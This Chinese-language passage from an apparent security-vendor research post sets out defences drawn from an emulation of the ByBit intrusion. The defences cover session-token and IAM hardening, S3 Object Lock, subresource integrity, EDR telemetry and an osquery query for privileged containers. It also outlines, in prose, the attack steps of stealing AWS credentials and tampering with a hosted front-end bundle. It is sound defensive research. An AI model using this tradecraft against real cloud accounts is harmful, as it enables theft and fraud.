如果您的 macOS 代理策略包含Docker 数据集成,您可以收集有价值的遥测数据,帮助发现用户系统上的恶意容器活动。在我们的模拟中,这种集成使我们能够提取 Docker 日志(进入指标索引),然后我们使用它来构建检测规则,该规则能够识别与恶意应用程序相关的妥协指标和可疑容器执行。
缓解措施
社会工程学
社会工程学在许多入侵事件中发挥着重要作用,尤其是在朝鲜入侵事件中。他们非常擅长利用 LinkedIn、Telegram、X 或 Discord 等可信公共平台来瞄准和接近受害者,以发起联系并显得合法。他们的许多社会工程活动都试图说服用户下载并执行某种项目、应用程序或脚本,无论是出于必要(求职)还是出于苦恼(调试协助)等。缓解利用社会工程学的攻击行为非常困难,需要公司齐心协力确保其员工定期接受培训以识别这些企图,并在与外部实体甚至开源社区接触时保持适当的怀疑和谨慎。
- 用户意识培训
- 手动静态代码审查
- 静态代码和依赖关系扫描
Bandit( GitHub - PyCQA/bandit:Bandit 是一种用于查找 Python 代码中常见安全问题的工具。 )是一个很好的开源工具示例,开发人员可以使用它来扫描 Python 应用程序及其脚本(在执行之前),以发现代码中可能存在的常见 Python 安全漏洞或危险问题。
应用程序和设备管理
应用程序通过设备管理解决方案或二进制授权框架(如开源工具 Santa)进行控制( GitHub - northpolesec/santa:适用于 macOS 的二进制和文件访问授权系统。 )可以用来强制公证并阻止可疑路径的执行。这会阻止执行被投放到系统中以保持持久性的 Poseidon 有效载荷,并可能阻止访问敏感文件。
增强数据/扩展数据
为了有效防御民族国家威胁以及针对 macOS 的许多其他攻击,必须部署一个 EDR 解决方案,提供丰富的遥测和关联功能来检测和防止基于脚本的攻击。更进一步,像 Elastic 这样的 EDR 平台允许您将 AWS 日志与端点数据一起提取,从而通过单一玻璃窗格实现统一的警报和可见性。当与人工智能关联的结合时,这种方法可以揭示有凝聚力的攻击叙述,显著加快响应速度并提高您在发生此类攻击时快速采取行动的能力。
AWS 凭证暴露和会话令牌强化
在此次攻击中,攻击者利用了被盗的 AWS 用户会话令牌(带有 ASIA* 前缀),该令牌是通过 MFA 通过 GetSessionToken API 颁发的。这些凭证很可能是从 macOS 开发者环境中检索的——要么来自导出的环境变量,要么来自默认的 AWS 配置路径(例如~/.aws/credentials
)。
为了缓解此类访问,组织可以实施以下防御策略:
- 减少会话令牌生命周期并远离 IAM 用户:避免向 IAM 用户发放长生命周期会话令牌。相反,强制执行较短的令牌持续时间(例如, 1 小时或更短)并对所有人类用户采用 AWS SSO(IAM 身份中心)。这使得会话令牌变得短暂、可审计并与身份联合相关联。完全禁用 IAM 用户的 sts:GetSessionToken 权限是最强大的方法,并且 IAM Identity Center 允许这种转变。
- 强制执行 IAM API 使用会话上下文限制: 如果使用临时凭证发出请求,则实施 IAM 策略条件块,明确拒绝敏感的 IAM 操作,例如iam:CreateVirtualMFADevice或iam:AttachUserPolicy 。这确保了基于会话的密钥(例如攻击中使用的密钥)不能提升权限或修改身份构造。
- 将 MFA 注册限制到可信路径:阻止通过会话令牌创建 MFA 设备( CreateVirtualMFADevice 、 EnableMFADevice ),除非来自受信任的网络、设备或 IAM 角色。使用aws:SessionToken或aws:ViaAWSService作为策略上下文键来强制执行此操作。这将阻止对手使用劫持的会话尝试基于 MFA 的持久性。
S3 应用层强化(前端篡改)
在获取 AWS 会话令牌后,对手没有执行任何 IAM 枚举 - 相反,他们迅速转向 S3 操作。他们使用 AWS CLI 和临时凭证列出了 S3 存储桶并修改了托管在公共 S3 存储桶上的静态前端 JavaScript。这使得他们能够用旨在根据特定钱包地址重定向交易的恶意变体替换生产 Next.js 包。
为了防止这种类型的前端篡改,请实施以下强化策略:
- 使用 S3 对象锁强制执行不变性:在托管静态前端内容的存储桶上以合规或治理模式启用 S3 对象锁。这样可以防止在定义的保留期内覆盖或删除文件 - 即使是受感染的用户也是如此。对象锁增加了强大的不变性保证,非常适合面向公众的应用程序层。仍然可以通过部署角色允许访问放置新对象(而不是覆盖)。
- 通过子资源完整性 (SRI) 实现内容完整性:在 index.html 内的 <script> 标签中包含 SRI 哈希(例如 SHA-256),以确保前端仅执行已知的、经过验证的 JavaScript 包。在这次攻击中,由于缺乏完整性检查,任意 JavaScript 都可以从 S3 存储桶中提供和执行。SRI 会在浏览器级别阻止这种行为。
- 使用 CI/CD 部署边界限制上传访问:开发人员永远不应该对生产 S3 存储桶具有直接写访问权限。使用单独的 AWS 账户或 IAM 角色进行开发和 CI/CD 部署。仅应允许经过 OIDC 认证的 GitHub Actions 或受信任的 CI 管道将前端包上传到生产存储桶。这确保了人类凭证即使受到损害,也不会影响生产。
- 通过 CloudFront 签名 URL 锁定访问或使用 S3 版本控制:如果前端通过 CloudFront 分发,则使用签名 URL 限制对 S3 的访问并删除对 S3 源的公共访问。这添加了代理和控制层。或者,启用 S3 版本控制并监控关键资产(例如,/static/js/*.js)的覆盖事件。这有助于检测试图替换前端文件的对手的篡改行为。
攻击发现(AD)
完成端到端攻击模拟后,我们测试了 Elastic 的新 AI 攻击发现功能,看看它是否可以将入侵的各个阶段联系起来。Attack Discovery 与您选择的 LLM 集成,以分析整个堆栈中的警报并生成有凝聚力的攻击叙述。这些叙述可以帮助分析师快速了解发生了什么,减少响应时间,并获得高层次的背景信息。在我们的测试中,它成功地将端点入侵与 AWS 入侵关联起来,提供了分析师可以用来采取明智行动的统一故事。
Osquery
通过 Elastic Agent 运行 Elastic Defend 时,您还可以部署 OSQuery Manager 集成来集中管理 Fleet 中所有代理的 Osquery。这使得您能够使用分布式 SQL 查询主机数据。在我们对 Dockerized 恶意应用程序进行测试期间,我们使用 OSQuery 检查端点并成功识别出以特权权限运行的容器。
SELECT name, image, readonly_rootfs, privileged FROM docker_containers
我们安排此查询定期运行,并将结果发送回我们的 Elastic Stack。从那里,我们建立了一个基于阈值的检测规则,每当用户系统中出现新的特权容器并且在过去七天内没有被观察到时,就会发出警报。
结论
ByBit 攻击是朝鲜威胁行为者发起的最具破坏性的入侵之一,并且由于详细的报告和可用的证据,它也为防御者提供了一个难得的机会来端到端模拟完整的攻击链。通过重现 SAFE 开发人员的 macOS 工作站的入侵(包括初始访问、有效载荷执行和 AWS 枢转),我们验证了我们针对现实世界民族国家间谍技术的检测能力。
这次模拟不仅强调了技术见解(例如如何滥用 PyYAML 反序列化来获取初始访问权限),而且还强化了操作防御方面的关键经验教训:用户意识的价值、基于行为的 EDR 覆盖、安全的开发人员工作流程、有效的云 IAM 策略、云日志记录和跨平台的整体检测/响应。
对手在不断创新,但防御者也在不断创新——这种研究有助于打破平衡。我们鼓励您关注@elasticseclabs并查看我们在elastic.co/security-labs上的威胁研究,以领先于不断发展的对手技术。
资源: